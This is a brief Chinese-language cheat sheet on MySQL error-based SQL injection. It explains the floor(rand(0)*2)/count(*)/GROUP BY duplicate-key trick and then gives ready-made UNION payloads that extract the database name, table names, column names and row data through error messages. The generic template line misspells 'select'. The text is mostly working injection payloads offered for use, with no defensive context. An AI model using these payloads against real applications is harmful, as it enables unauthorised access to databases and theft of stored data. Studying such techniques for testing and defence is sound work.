报错注入

floor()向下取整数
rand()在0和1之间产生一个随机数
rand(0)*2将取0到2的随机数
floor(rand()*2)有两条记录就会报错
floor(rand(0)*2)记录需为3条以上，且3条以上必报错，返回的值是有规律的0110110011101
count(*)是用来统计结果的，相当于刷新一次结果
group by在对数据进行分组时会先看看虚拟表里有没有这个值，没有的话就插入存在的话count(*)加1
在使用group by时floor(rand(0)*2)会被执行一次，若虚表不存在记录，插入虚表时会再执行一次

常见的payload为：
union select 1 from (select count(*),concat((slelect语句)," ",floor(rand(0)*2))x from "一个足大的表" group by x)a

爆数据库名:
union select 1 from (select count(*),concat((select database())," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆表名:
union select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema=database() limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆列名:
union select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name="TABLE_NAME" limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a
爆数据:
union select 1 from (select count(*),concat((select COLUMN_NAME from TABLE_NAME limit 0,1) ," ",floor(rand(0)*2))x from information_schema.tables group by x)a